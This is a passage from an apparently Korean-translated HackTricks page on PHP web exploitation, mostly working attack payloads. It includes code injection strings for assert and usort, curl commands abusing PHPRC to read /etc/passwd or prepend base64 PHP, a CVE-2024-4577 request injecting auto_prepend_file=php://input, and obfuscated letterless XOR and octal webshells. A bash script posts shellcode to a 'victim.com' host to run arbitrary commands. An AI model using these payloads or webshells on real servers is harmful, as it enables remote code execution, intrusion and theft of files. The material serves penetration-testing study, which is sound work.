?page=a','NeVeR') === false and system('ls') and strpos('a

์ฝ”๋“œ์˜ syntax๋ฅผ ๊นจ๊ณ , payload๋ฅผ ์ถ”๊ฐ€ํ•œ ๋‹ค์Œ, ๋‹ค์‹œ ์ˆ˜์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. and ์—ฐ์‚ฐ์ž๋‚˜ %26%26, | ๊ฐ™์€ logic operations๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. โ€œorโ€, โ€œ||โ€œ๋Š” ๋™์ž‘ํ•˜์ง€ ์•Š๋Š”๋ฐ, ์ฒซ ๋ฒˆ์งธ ์กฐ๊ฑด์ด true์ด๋ฉด ์šฐ๋ฆฌ์˜ payload๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ โ€œ;โ€œ๋„ ๋™์ž‘ํ•˜์ง€ ์•Š์œผ๋ฉฐ payload๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Other option์€ ๋ฌธ์ž์—ด์— ๋‹ค์Œ ๋ช…๋ น ์‹คํ–‰์„ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: '.highlight_file('.passwd').'

Other option (๋‚ด๋ถ€ ์ฝ”๋“œ๋ฅผ ์•Œ๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ)์€ ์‹คํ–‰์„ ๋ณ€๊ฒฝํ•˜๊ธฐ ์œ„ํ•ด ๋ณ€์ˆ˜๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: $file = "hola"

usort()๋ฅผ ํ†ตํ•œ RCE

์ด ํ•จ์ˆ˜๋Š” ํŠน์ • ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด ๋ฐฐ์—ด์˜ ํ•ญ๋ชฉ์„ ์ •๋ ฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
์ด ํ•จ์ˆ˜๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // to comment the rest of the code.

๋‹ซ์•„์•ผ ํ•  ๊ด„ํ˜ธ์˜ ๊ฐœ์ˆ˜๋ฅผ ์•Œ์•„๋‚ด๋Š” ๋ฐฉ๋ฒ•:

  • ?order=id;}//: ์—๋Ÿฌ ๋ฉ”์‹œ์ง€(Parse error: syntax error, unexpected ';')๊ฐ€ ๋œน๋‹ˆ๋‹ค. ์•„๋งˆ ํ•˜๋‚˜ ์ด์ƒ์˜ ๊ด„ํ˜ธ๊ฐ€ ๋น ์กŒ์Šต๋‹ˆ๋‹ค.
  • ?order=id);}//: warning๊ฐ€ ๋œน๋‹ˆ๋‹ค. ์ ์ ˆํ•ด ๋ณด์ž…๋‹ˆ๋‹ค.
  • ?order=id));}//: ์—๋Ÿฌ ๋ฉ”์‹œ์ง€(Parse error: syntax error, unexpected ')' i)๊ฐ€ ๋œน๋‹ˆ๋‹ค. ๋‹ซ๋Š” ๊ด„ํ˜ธ๊ฐ€ ๋„ˆ๋ฌด ๋งŽ์„ ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค.

RCE via .httaccess

๋งŒ์•ฝ .htaccess๋ฅผ uploadํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์—ฌ๋Ÿฌ ์„ค์ •์„ configureํ•˜๊ณ  ์‹ฌ์ง€์–ด ์ฝ”๋“œ ์‹คํ–‰๋„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(.htaccess ํ™•์žฅ์ž๋ฅผ ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋„๋ก ์„ค์ •ํ•˜๋Š” ๋“ฑ).

๋‹ค์–‘ํ•œ .htaccess shells๋Š” here์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

RCE via Env Variables

๋งŒ์•ฝ PHP์—์„œ env variables๋ฅผ modifyํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ (๊ทธ๋ฆฌ๊ณ  ํŒŒ์ผ์„ uploadํ•  ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ ์ทจ์•ฝ์ , ๋‹จ ์ถ”๊ฐ€ ์—ฐ๊ตฌ๋กœ ์šฐํšŒ ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Œ)์„ ์ฐพ๋Š”๋‹ค๋ฉด, ์ด ๋™์ž‘์„ ์•…์šฉํ•ด RCE๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • LD_PRELOAD: ์ด env ๋ณ€์ˆ˜๋Š” ๋‹ค๋ฅธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ๋•Œ ์ž„์˜์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค(์ด ๊ฒฝ์šฐ ์ž‘๋™ํ•˜์ง€ ์•Š์„ ์ˆ˜๋„ ์žˆ์Œ).
  • PHPRC : PHP๊ฐ€ ์„ค์ • ํŒŒ์ผ(์ผ๋ฐ˜์ ์œผ๋กœ php.ini)์„ ์–ด๋””์„œ ์ฐพ์„์ง€ ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค. ์ž์ฒด ์„ค์ • ํŒŒ์ผ์„ uploadํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, PHPRC๋กœ PHP๊ฐ€ ๊ทธ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜๋„๋ก ์ง€์ •ํ•˜์„ธ์š”. ๋‘ ๋ฒˆ์งธ๋กœ uploadํ•œ ํŒŒ์ผ์„ ์ง€์ •ํ•˜๋Š” auto_prepend_file ํ•ญ๋ชฉ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋‘ ๋ฒˆ์งธ ํŒŒ์ผ์€ ์ผ๋ฐ˜ PHP code๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, PHP ๋Ÿฐํƒ€์ž„์ด ๋‹ค๋ฅธ ์ฝ”๋“œ๋ณด๋‹ค ๋จผ์ € ์ด๋ฅผ executeํ•ฉ๋‹ˆ๋‹ค.
  1. Upload a PHP file containing our shellcode
  2. Upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1
  3. Set the PHPRC variable to the file we uploaded in step 2.
  • ์ด ์ฒด์ธ์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” from the original report์—์„œ ํ™•์ธํ•˜์„ธ์š”.
  • PHPRC - ๋˜ ๋‹ค๋ฅธ ์˜ต์…˜
  • ๋งŒ์•ฝ ํŒŒ์ผ์„ uploadํ•  ์ˆ˜ ์—†๋‹ค๋ฉด, FreeBSD์—์„œ๋Š” ์š”์ฒญ์˜ body๊ฐ€ ๋‹ด๊ธด **stdin**์„ ํฌํ•จํ•˜๋Š” ํŒŒ์ผ /dev/fd/0์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • ๋˜๋Š” RCE๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด **allow_url_include**๋ฅผ ํ™œ์„ฑํ™”ํ•˜๊ณ  base64 PHP code๋กœ ํŒŒ์ผ์„ prependํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technique from this report.

XAMPP CGI RCE - CVE-2024-4577

์›น์„œ๋ฒ„๋Š” HTTP ์š”์ฒญ์„ ํŒŒ์‹ฑํ•˜์—ฌ PHP ์Šคํฌ๋ฆฝํŠธ๋กœ ์ „๋‹ฌํ•˜๊ณ , ์˜ˆ๋ฅผ ๋“ค์–ด http://host/cgi.php?foo=bar ๊ฐ™์€ ์š”์ฒญ์„ php.exe cgi.php foo=bar๋กœ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋™์ž‘์€ parameter injection์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์š”์ฒญ์˜ body์—์„œ PHP code๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ injectํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

-d allow_url_include=1 -d auto_prepend_file=php://input

๋˜ํ•œ PHP์˜ ์ดํ›„ ์ •๊ทœํ™” ๋•Œ๋ฌธ์— 0xAD ๋ฌธ์ž๋กœ โ€œ-โ€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡ ์˜ˆ์ œ๋Š” this post์—์„œ ํ™•์ธํ•˜์„ธ์š”:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

In this post ์—์„œ๋Š” ์•„์ฃผ ์ ์€ ์ˆ˜์˜ ๋ฌธ์ž๋งŒ ํ—ˆ์šฉ๋˜๋Š” ์ƒํ™ฉ์—์„œ brain fuck PHP ์ฝ”๋“œ๋ฅผ ์ƒ์„ฑํ•  ํ›Œ๋ฅญํ•œ ์•„์ด๋””์–ด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ ์—ฌ๋Ÿฌ ๊ฒ€์‚ฌ๋ฅผ bypassํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ํ•จ์ˆ˜ ์‹คํ–‰ ๋ฐฉ๋ฒ•๋„ ์ œ์•ˆ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

(1)->{system($_GET[chr(97)])}

PHP Static analysis

๋‹ค์Œ ํ•จ์ˆ˜ ํ˜ธ์ถœ์— code๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด ๋ณด์„ธ์š” (from here):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

PHP ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋””๋ฒ„๊น…ํ•˜๋Š” ๊ฒฝ์šฐ ์ „์—ญ์ ์œผ๋กœ ์—๋Ÿฌ ์ถœ๋ ฅ์„ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด /etc/php5/apache2/php.ini์— display_errors = On์„ ์ถ”๊ฐ€ํ•˜๊ณ  Apache๋ฅผ ์žฌ์‹œ์ž‘ํ•˜์„ธ์š”: sudo systemctl restart apache2

PHP ์ฝ”๋“œ ๋‚œ๋…ํ™” ํ•ด์ œ

PHP ์ฝ”๋“œ๋ฅผ ๋””์˜ค๋ธŒํ“จ์Šคํ•˜๋ ค๋ฉด ์›น www.unphp.net ์„(๋ฅผ) ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

PHP Wrappers & Protocols

PHP ๋ž˜ํผ์™€ ํ”„๋กœํ† ์ฝœ์€ ์‹œ์Šคํ…œ์˜ ์“ฐ๊ธฐ ๋ฐ ์ฝ๊ธฐ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ์†์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ more information check this page.

Xdebug unauthenticated RCE

phpconfig() ์ถœ๋ ฅ์—์„œ Xdebug๊ฐ€ enabled๋กœ ํ‘œ์‹œ๋˜๋ฉด https://github.com/nqxcode/xdebug-exploit ๋ฅผ ํ†ตํ•ด RCE๋ฅผ ์‹œ๋„ํ•ด๋ณด์„ธ์š”

๋ณ€์ˆ˜์˜ ๋ณ€์ˆ˜

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE ์•…์šฉ new $_GET[โ€œaโ€]($_GET[โ€œbโ€])

ํŽ˜์ด์ง€์—์„œ ์ž„์˜์˜ ํด๋ž˜์Šค์˜ ์ƒˆ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด๋ ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

Php Rce Abusing Object Creation New Usd Get A Usd Get B

๋ฌธ์ž ์—†์ด PHP ์‹คํ–‰

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

8์ง„์ˆ˜ ์‚ฌ์šฉ

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ยข___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

this writeup ์— ๋”ฐ๋ฅด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ฐ„๋‹จํ•œ shellcode๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

๋”ฐ๋ผ์„œ, ๋งŒ์•ฝ ๋‹น์‹ ์ด execute arbitrary PHP without numbers and letters ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์€ request๋ฅผ ์ „์†กํ•˜์—ฌ ๊ทธ payload๋ฅผ ์•…์šฉํ•ด execute arbitrary PHPํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

์ž์„ธํ•œ ์„ค๋ช…์€ https://ctf-wiki.org/web/php/php/#preg_match๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”

XOR Shellcode (inside eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl๊ณผ ์œ ์‚ฌ

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ